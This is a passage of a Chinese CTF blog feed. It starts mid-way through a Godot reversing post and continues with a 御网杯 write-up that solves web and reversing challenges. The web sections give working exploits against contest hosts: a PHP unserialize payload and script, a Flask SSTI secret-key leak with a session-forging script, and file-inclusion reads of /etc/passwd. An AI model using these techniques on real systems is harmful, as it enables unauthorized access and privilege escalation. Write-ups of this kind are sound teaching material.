    $MeshInstance3D.scale = Vector3(_sc, _sc, _sc)

func _process(_d: float) -&amp;gt; void :
    _gx.Tick()
    _tv += _d * 2.0
    _m3(_d)

&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;PART1 — Feistel cipher（trigger2.gd）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;1.1 GDScript 来源&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;触发器：第 2 个 trigger（车撞进 Trigger2 的 Area3D）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;完整算法在 GDScript 里实现，不依赖 native&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;显示位置：/root/TownScene/Label2&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;输出格式：flag{sec2026_PART1_&amp;lt;8 chars hex&amp;gt;}&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;1.2 输入 / 输出&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;输入：从 Label 文本 Token: XXXXXXXX 截掉前 7 字节 → 拿到 8 字符 hex&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;bytes.fromhex(token) → 4 字节&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;拆成 lo (2B) + hi (2B)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;输出：4 字节 → 8 字符 hex（小写）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;1.3 Feistel 结构&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Key：b&quot;Sec2026_Godot&quot;（13 字节，循环使用）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;轮数：8&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Round function（每轮对 hi 做 F(hi)，再 lo = hi, hi = old_lo XOR F(hi)）：&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;for rn in range(8):
    fv = []
    for j in range(2):                          # half-block 长度 = 2
        v = hi[j] ^ key[(j + rn) % 13]          # 1) XOR key
        v = (v * 7 + rn) &amp;amp; 0xFF                 # 2) 仿射混淆
        v = ((v &amp;lt;&amp;lt; 3) | (v &amp;gt;&amp;gt; 5)) &amp;amp; 0xFF        # 3) ROL by 3
        fv.append(v)
    nr = [lo[j] ^ fv[j] for j in range(2)]      # 4) 异或回 lo
    lo, hi = hi, nr                             # 5) Feistel 交换
  out = bytes(lo + hi).hex()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;part2的相关逻辑在（trigger3.gd + libsec2026.so）&lt;/p&gt;
&lt;p&gt;先看源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;extends Area3D

signal collided_with(name)
var _gx = GameExtension.new()
var _tv: = 0.0
var _ix: = 0

var _kd: = PackedByteArray()

func _h2b(_s: String) -&amp;gt; PackedByteArray:
    var _r: = PackedByteArray()
    var _p: = 0
    var _e: = _s.length()
    while _p &amp;lt; _e:
        var _ch: = _s.substr(_p, 2)
        _r.append(_ch.hex_to_int())
        _p += 2
    return _r

func _b2h(_ba: PackedByteArray) -&amp;gt; String:
    var _r: = &quot;&quot;
    var _p: = 0
    while _p &amp;lt; _ba.size():
        _r += &quot;%02x&quot; % _ba[_p]
        _p += 1
    return _r

func _xb(_a: PackedByteArray, _b: PackedByteArray) -&amp;gt; PackedByteArray:
    var _r: = PackedByteArray()
    for _j in _a.size():
        _r.append(_a[_j] ^ _b[_j])
    return _r

func _rf(_bl: PackedByteArray, _ky: PackedByteArray, _rn: int) -&amp;gt; PackedByteArray:
    var _r: = PackedByteArray()
    var _km: = _ky.size()
    var _j: = 0
    while _j &amp;lt; _bl.size():
        var _v: = _bl[_j]
        _v = _v ^ _ky[(_j + _rn) % _km]
        var _t: = (_v * (3 + 4) + _rn)
        _v = _t &amp;amp; 255
        var _sl: = (_v &amp;lt;&amp;lt; 3) &amp;amp; 255
        var _sr: = (_v &amp;gt;&amp;gt; 5) &amp;amp; 255
        _v = _sl | _sr
        _r.append(_v)
        _j += 1
    return _r

func _ready() -&amp;gt; void :
    body_entered.connect(_w7)
    var _ks: = &quot;Sec2026&quot;
    var _ke: = &quot;_Godot&quot;
    _kd = (_ks + _ke).to_utf8_buffer()

func _w7(_ar):
    var _lb: = get_node(NodePath(&quot;/root/&quot; + &quot;TownScene/Label2&quot;))
    var _lt: = get_node(NodePath(&quot;/root/&quot; + &quot;TownScene/Label&quot;))
    var _raw: = str(_lt.text).substr(7)
    var _buf: = _raw.to_utf8_buffer()
    var _pf: = &quot;flag{&quot;
    var _mi: = &quot;sec2026&quot;
    var _su: = &quot;_PART2_&quot;
    var _rv: = _gx.Process(_buf)
    _lb.text = _pf + _mi + _su + _rv + &quot;}&quot; + &quot;  &quot;

func _m3(_d: float):
    if $MeshInstance3D == null:
        return
    $MeshInstance3D.rotation.y += _d * 1.0
    var _yp = sin(_tv) * 0.2
    $MeshInstance3D.position.y = _yp
    var _sc = 1.0 + sin(_tv * (1.5 * 2.0)) * 0.1
    $MeshInstance3D.scale = Vector3(_sc, _sc, _sc)

func _process(_d: float) -&amp;gt; void :
    _gx.Tick()
    _tv += _d * (1.0 * 2.0)
    _m3(_d)

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;触发器：第 3 个 trigger（Trigger3）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;GDScript 端只做一件事：把 Token 转 PackedByteArray，丢给 native&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;var _buf = _raw.to_utf8_buffer()              # 8 字节 ASCII&lt;/p&gt;
&lt;p&gt;var _rv = _gx.Process(_buf)                   # 调 native&lt;/p&gt;
&lt;p&gt;_lb.text = &quot;flag{&quot; + &quot;sec2026&quot; + &quot;_PART2_&quot; + _rv + &quot;}&quot;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;显示位置：/root/TownScene/Label2&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;输出格式：flag{sec2026_PART2_&amp;lt;32 chars uppercase hex&amp;gt;}&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;IDA打开so文件进行分析，里面的无法反汇编的片段有很多，是控制流平坦化，第一次遇到arm64汇编语言的混淆，这个so里面的cff的风格是OLLVM&lt;/p&gt;
&lt;p&gt;结合ai去控制流平坦化的过程总结&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;整体路线

  原始 .so（混淆 + reloc 未填）
     │
     ① 应用 reloc，让派发表指向真实地址
     │
     ② 线性反汇编，得到 raw asm（每条 4 字节都解出来）
     │
     ③ 手工 / 脚本提取 dispatcher：识别 controller 寄存器
     │
     ④ 模拟 controller 状态机：解出 case 编号 → 下一个 case 的映射
     │
     ⑤ 把碎片 case-block 按真实顺序拼回去（虚拟去平坦化）
     │
     ⑥ 模式匹配：识别每段做什么（XOR / S-Box 查表 / GF mul / shiftrows）
     │
     ⑦ Unicorn emu 验证：跑真实输入，对比 Python 实现
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一块很杂，先调到part3flag的生成逻辑&lt;/p&gt;
&lt;p&gt;未完待续！！&lt;/p&gt;
</content:encoded></item><item><title>御网杯 WriteUp</title><link>https://blog-5w0.pages.dev/posts/yuwangbei/</link><guid isPermaLink="true">https://blog-5w0.pages.dev/posts/yuwangbei/</guid><description>御网杯 WriteUp CTF WriteUp</description><pubDate>Sat, 23 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;御网杯&lt;/h1&gt;
&lt;h1&gt;Web&lt;/h1&gt;
&lt;h2&gt;WEB-Snake_Game&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-01.png&quot; alt=&quot;Figure 1&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;打开首页后，页面只有一个 Snake Game，前端逻辑全写在页面内联 JavaScript 里。关键点在这个函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function checkWin(s) {
    let formData = new FormData();
    formData.append(&apos;score&apos;, s);
    fetch(&apos;index.php&apos;, { method: &apos;POST&apos;, body: formData })
    .then(r =&amp;gt; r.json())
    .then(data =&amp;gt; {
        if(data.status === &apos;success&apos;) {
            msgEl.innerText = data.flag;
        }
    });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;游戏结束后，前端只是把 score 提交给 index.php&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;服务端返回 JSON&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;前端直接把返回的 flag 显示出来&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这说明核心漏洞是：后端只校验提交的分数，没有校验分数是否真的通过游戏产生&lt;/p&gt;
&lt;p&gt;利用方式&lt;/p&gt;
&lt;p&gt;直接伪造一个 score=300 的请求即可，然后拿到flag。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-02.png&quot; alt=&quot;Figure 2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;WEB-PHP_Payment&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-03.png&quot; alt=&quot;Figure 3&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;先审附件源码，关键点有两处。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在 apply_coupon.php 中，服务端会对用户提交的 coupon 参数先做 base64_decode()，随后直接执行 unserialize()：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;$decoded = base64_decode($couponData);
$promo = @unserialize($decoded);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这意味着这里存在用户可控的 PHP 反序列化。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在 models.php 中定义了 PromoManager 类，它的析构函数会把对象属性 promo_credit 直接累加到 session 余额：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;function __destruct() {
    if(isset($this-&amp;gt;promo_credit) &amp;amp;&amp;amp; is_numeric($this-&amp;gt;promo_credit)) {
        $_SESSION[&apos;balance&apos;] += intval($this-&amp;gt;promo_credit);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，只要我们伪造一个 PromoManager 对象，并把 promo_credit 设成足够大的数字，在反序列化结束、对象销毁时就能给自己“充值”。&lt;/p&gt;
&lt;p&gt;再看 buy.php，其中 flag 商品价格是 99999 金币：&lt;/p&gt;
&lt;p&gt;初始余额只有 20，因此正常无法购买，但通过优惠券反序列化可以直接把余额加到足够大。&lt;/p&gt;
&lt;p&gt;利用链非常简单：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;访问首页，拿到一个新的 PHPSESSID&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;构造 PromoManager 对象，令 promo_credit=100000&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将该对象序列化后再 Base64 编码，作为 coupon 提交给 /api/apply_coupon.php&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;同一 session 下请求 /buy.php，传 item=flag&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;余额足够后成功购买，返回 flag&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;构造 Payload&lt;/p&gt;
&lt;p&gt;PromoManager 有两个公开属性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;promo_credit&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;promo_code&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此可构造如下序列化字符串：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;O:12:&quot;PromoManager&quot;:2:{s:12:&quot;promo_credit&quot;;i:100000;s:10:&quot;promo_code&quot;;s:3:&quot;VIP&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应 Base64 为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MzoiVklQIjt9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用下面的脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from __future__ import print_function

import base64
import re
import sys

try:
    from urllib.request import HTTPCookieProcessor, Request, build_opener
    from urllib.parse import urlencode
    from http.cookiejar import CookieJar
except ImportError:
    from urllib2 import HTTPCookieProcessor, Request, build_opener
    from urllib import urlencode
    from cookielib import CookieJar

TARGET = sys.argv[1] if len(sys.argv) &amp;gt; 1 else &quot;http://120.27.146.76:13228&quot;

def build_coupon(credit=100000, code=&quot;VIP&quot;):
    payload = (
        &apos;O:12:&quot;PromoManager&quot;:2:{{&apos;
        &apos;s:12:&quot;promo_credit&quot;;i:{credit};&apos;
        &apos;s:10:&quot;promo_code&quot;;s:{code_len}:&quot;{code}&quot;;&apos;
        &quot;}}&quot;
    ).format(
        credit=credit,
        code_len=len(code),
        code=code,
    )
    return base64.b64encode(payload.encode()).decode()

def extract_flags(text):
    return re.findall(r&quot;flag**\{**[^}]+**\}**&quot;, text)

def decode_text(data):
    if hasattr(data, &quot;decode&quot;):
        return data.decode(&quot;utf-8&quot;, &quot;ignore&quot;)
    return data

def http_get(opener, url):
    req = Request(url)
    return decode_text(opener.open(req, timeout=10).read())

def http_post(opener, url, data):
    body = urlencode(data)
    if hasattr(body, &quot;encode&quot;):
        body = body.encode(&quot;utf-8&quot;)
    req = Request(url, data=body)
    return decode_text(opener.open(req, timeout=10).read())

def main():
    jar = CookieJar()
    opener = build_opener(HTTPCookieProcessor(jar))

    http_get(opener, &quot;{}/&quot;.format(TARGET))

    coupon = build_coupon()
    resp = http_post(
        opener,
        &quot;{}/api/apply_coupon.php&quot;.format(TARGET),
        {&quot;coupon&quot;: coupon},
    )
    print(&quot;[*] apply_coupon response:&quot;, resp)

    resp = http_post(
        opener,
        &quot;{}/buy.php&quot;.format(TARGET),
        {&quot;item&quot;: &quot;flag&quot;},
    )
    print(&quot;[*] buy response:&quot;, resp)

    flags = extract_flags(resp)
    if not flags:
        print(&quot;[-] No flag found.&quot;)
        return

    print(&quot;[+] Found flags:&quot;)
    for idx, flag in enumerate(flags, 1):
        print(&quot;  {}. {}&quot;.format(idx, flag))

    print(&quot;[+] Likely real flag: {}&quot;.format(flags[0]))

if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-04.png&quot; alt=&quot;Figure 4&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;WEB-TaxSystem_SSTI&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-05.png&quot; alt=&quot;Figure 5&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;在 init_db.py 可以看到系统初始化了一个账号：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin / 123456
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 app.py 的 preview() 逻辑里，只有当 state == &apos;AUDIT_PENDING&apos; 时，才会走“官方审计报告”模板渲染分支。这个分支把 custom_footer 直接拼进 HTML，再交给 app.py (line 127) 的 render_template_string() 渲染，这就形成了标准 SSTI。&lt;/p&gt;
&lt;p&gt;黑名单在 app.py ，虽然过滤了 __、引号、request、session 等关键字，但没有过滤 config，所以 {{config}} 可以直接用。&lt;/p&gt;
&lt;p&gt;此外，app.py  的 /admin/vault 只校验：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if session.get(&apos;role&apos;) != &apos;tax_inspector&apos;:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，只要能伪造 Flask session，就能越权进后台。&lt;/p&gt;
&lt;p&gt;要注意一点：config.py 里的默认 SECRET_KEY 不是远端实际值，所以不能直接拿源码默认值伪造 cookie，必须先通过 SSTI 泄露线上真实密钥。&lt;/p&gt;
&lt;p&gt;接下来我们去利用&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;登录系统，账号密码为：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;admin / 123456
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-06.png&quot; alt=&quot;Figure 6&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过 /api/import 修改自己的 profile：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;profile_id&quot;: 1,
  &quot;data&quot;: {
    &quot;state&quot;: &quot;AUDIT_PENDING&quot;,
    &quot;custom_footer&quot;: &quot;{{config}}&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;访问 /preview/1，页面会回显 Flask 配置，拿到远端真实密钥：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;SECRET_KEY = secret_tax_key_2026_xoxo
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;用这个 SECRET_KEY 伪造 Flask session，把会话内容改成：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;{&quot;role&quot;: &quot;tax_inspector&quot;, &quot;user_id&quot;: 1}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;带着伪造后的 session cookie 访问：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;/admin/vault
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以用下面这个脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import re
import html
import requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface


BASE = &quot;http://120.27.146.76:13583&quot;
USERNAME = &quot;admin&quot;
PASSWORD = &quot;123456&quot;
PROFILE_ID = 1


def get_secret_key():
    s = requests.Session()

    r = s.post(
        BASE + &quot;/login&quot;,
        data={&quot;username&quot;: USERNAME, &quot;password&quot;: PASSWORD},
        allow_redirects=True,
        timeout=10,
    )
    if r.status_code != 200:
        raise RuntimeError(f&quot;login failed: {r.status_code}&quot;)

    r = s.post(
        BASE + &quot;/api/import&quot;,
        json={
            &quot;profile_id&quot;: PROFILE_ID,
            &quot;data&quot;: {
                &quot;state&quot;: &quot;AUDIT_PENDING&quot;,
                &quot;custom_footer&quot;: &quot;{{config}}&quot;,
            },
        },
        timeout=10,
    )
    if r.status_code != 200:
        raise RuntimeError(f&quot;import failed: {r.status_code} {r.text}&quot;)

    r = s.get(BASE + f&quot;/preview/{PROFILE_ID}&quot;, timeout=10)
    text = html.unescape(r.text)

    m = re.search(r&quot;SECRET_KEY&apos;: &apos;([^&apos;]+)&apos;&quot;, text)
    if not m:
        raise RuntimeError(&quot;SECRET_KEY not found in preview response&quot;)

    return m.group(1)


def forge_session(secret_key):
    app = Flask(__name__)
    app.secret_key = secret_key
    serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    return serializer.dumps({&quot;role&quot;: &quot;tax_inspector&quot;, &quot;user_id&quot;: 1})


def get_flag(cookie):
    s = requests.Session()
    s.cookies.set(&quot;session&quot;, cookie)

    r = s.get(BASE + &quot;/admin/vault&quot;, timeout=10)
    if r.status_code != 200:
        raise RuntimeError(f&quot;vault request failed: {r.status_code}&quot;)

    m = re.search(r&apos;&amp;lt;div class=&quot;flag-box&quot;&amp;gt;\s*(.*?)\s*&amp;lt;/div&amp;gt;&apos;, r.text, re.S)
    if not m:
        raise RuntimeError(&quot;flag not found in response&quot;)

    return m.group(1).strip()


def main():
    secret_key = get_secret_key()
    print(f&quot;[+] SECRET_KEY: {secret_key}&quot;)

    cookie = forge_session(secret_key)
    print(f&quot;[+] forged session: {cookie}&quot;)

    flag = get_flag(cookie)
    print(f&quot;[+] flag: {flag}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-07.png&quot; alt=&quot;Figure 7&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;WEB-Enterprise_OA&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-08.png&quot; alt=&quot;Figure 8&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;访问首页可以看到导航链接使用了 &lt;code&gt;module&lt;/code&gt; 参数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?module=public_notices.php
/?module=about.php
/?module=contact.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明页面内容很可能是通过 &lt;code&gt;include\(\)&lt;/code&gt; 动态加载的，因此优先测试文件包含。&lt;/p&gt;
&lt;p&gt;先尝试普通目录穿越：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?module=../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回报错中可以看到，服务端实际尝试包含的是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;include(etc/passwd)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明 &lt;code&gt;\.\./&lt;/code&gt; 被过滤掉了，继续读取首页源码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?module=php://filter/convert.base64-encode/resource=/var/www/html/index.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解码后关键代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$module = isset($_GET[&apos;module&apos;]) ? $_GET[&apos;module&apos;] : &apos;public_notices.php&apos;;
$module = str_replace(&apos;../&apos;, &apos;&apos;, $module);
?&amp;gt;
...
&amp;lt;?php include($module); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;问题就在这里：开发者只替换了字符串 &lt;code&gt;\.\./&lt;/code&gt;，但没有限制绝对路径。因此虽然相对路径穿越被“抹掉”了，绝对路径仍然可以直接包含系统文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-09.png&quot; alt=&quot;Figure 9&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;验证任意文件读取&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;请求：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?module=/etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功回显系统账户内容，证明绝对路径包含可用。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;读取 flag&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;结合常见 CTF 文件位置，尝试直接读取：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?module=/flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功得到 flag。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-10.png&quot; alt=&quot;Figure 10&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Re&lt;/h1&gt;
&lt;h2&gt;rerere&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-11.png&quot; alt=&quot;Figure 11&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;ida打开附件，主校验函数在sub_1400014FB&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-12.png&quot; alt=&quot;Figure 12&quot; /&gt;&lt;/p&gt;
&lt;p&gt;跳转过来&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-13.png&quot; alt=&quot;Figure 13&quot; /&gt;&lt;/p&gt;
&lt;p&gt;加密逻辑在sub_140001480&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-14.png&quot; alt=&quot;Figure 14&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;SBOX&lt;/code&gt; 可逆，直接对每个位置求逆即可：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;input[i] = INV_SBOX[ EXPECTED[i] ] ^ XORKEY[i % 8]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-15.png&quot; alt=&quot;Figure 15&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
expected = bytes.fromhex(
    &quot;a3 5b 4c 0a 0e 98 84 da&quot;
    &quot;14 e7 0b 91 53 49 4f b6&quot;
    &quot;a9 ac 0b 49 14 97 4f d5&quot;
    &quot;b1 96 75 f6 3b a7 84 c5&quot;
    &quot;a9 c9 06 36 c6 6c&quot;.replace(&quot; &quot;, &quot;&quot;)
)

xorkey = bytes.fromhex(&quot;b9 cd ce 30 b8 61 4e aa&quot;.replace(&quot; &quot;, &quot;&quot;))

sbox = bytes.fromhex(&quot;&quot;&quot;
c2 23 97 49 83 f6 d3 a7 eb bf 78 c3 29 56 d2 1a
13 bc 21 6a 37 8e 5f 0c b4 46 de e4 6c a2 66 30
0f a4 bb 8c 09 4b 3d 32 42 55 2d 4f f9 77 1b 74
1f 71 7b 9d 73 c4 ab d0 f3 c1 88 07 dc ce ef c0
72 4a 27 81 9b ee c7 28 26 5a 94 54 70 d1 e9 c8
98 36 91 41 b8 3a 79 0a 08 e5 af 80 24 ae 00 19
cc 7a f7 51 7d 69 ec 03 65 25 1c 01 f5 e6 bd d9
59 fe 92 b0 10 6f f0 e3 9f ad 84 f4 a5 33 35 48
53 b1 e0 d8 05 38 18 68 a9 14 c6 3f 61 8a 31 3b
ba 2b 4e e2 57 9a f1 ea 64 7e a0 93 b6 da 60 2e
1d 5b 82 34 6d fc cf 7f e7 96 67 43 06 44 c9 4c
40 db fd 4d b5 ed 39 2c b3 17 9e cd fa 6b ca 87
8f 9c 89 0e 63 45 86 aa 5e 95 16 c5 d5 2f a1 f8
99 ff 3c 0d 3e d4 04 76 d7 47 20 8d df 5c 7c a3
1e 8b 15 b9 a8 cb 22 a6 52 d6 fb 5d dd b2 6e e8
f2 e1 2a 58 62 12 11 50 75 b7 ac 90 0b 85 02 be
&quot;&quot;&quot;.replace(&quot;\n&quot;, &quot;&quot;).replace(&quot; &quot;, &quot;&quot;))

assert len(set(sbox)) == 256, &quot;SBOX 不是完整置换&quot;

inv_sbox = [0] * 256
for i, v in enumerate(sbox):
    inv_sbox[v] = i

flag = bytes(inv_sbox[e] ^ xorkey[i % 8] for i, e in enumerate(expected))

for i, e in enumerate(expected):
    assert sbox[flag[i] ^ xorkey[i % 8]] == e

print(flag.decode())

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-16.png&quot; alt=&quot;Figure 16&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{1470e2b8be617231cef8d657f4a1cba2}&lt;/p&gt;
&lt;h2&gt;字节码迷踪&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-17.png&quot; alt=&quot;Figure 17&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;py逆向，用die查看py版本是3.12&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-18.png&quot; alt=&quot;Figure 18&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接用在线网站反编译一下https://pylingual.io/&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-19.png&quot; alt=&quot;Figure 19&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到py源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: &apos;temp_challenge.py&apos;
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 2026-04-05 13:07:22 UTC (1775394442)

import base64
def decrypt_flag(encoded_data, key):
    decoded = base64.b64decode(encoded_data)
    return &apos;&apos;.join((chr(b ^ key) for b in decoded))
def main():
    encoded_flag = &apos;CAIPCRVeABgUC1wCX0NXHh1YQx4cBFZDBV1bC0MCWw9fHF5WXV8MBx4T&apos;
    xor_key = 110
    user_input = input(&apos;请输入flag: &apos;).strip()
    correct_flag = decrypt_flag(encoded_flag, xor_key)
    if user_input == correct_flag:
        print(&apos;正确！&apos;)
    else:
        print(&apos;错误！&apos;)
if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;加解密对称(异或),直接拿密文跑一遍即可:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64

encoded_flag = &apos;CAIPCRVeABgUC1wCX0NXHh1YQx4cBFZDBV1bC0MCWw9fHF5WXV8MBx4T&apos;
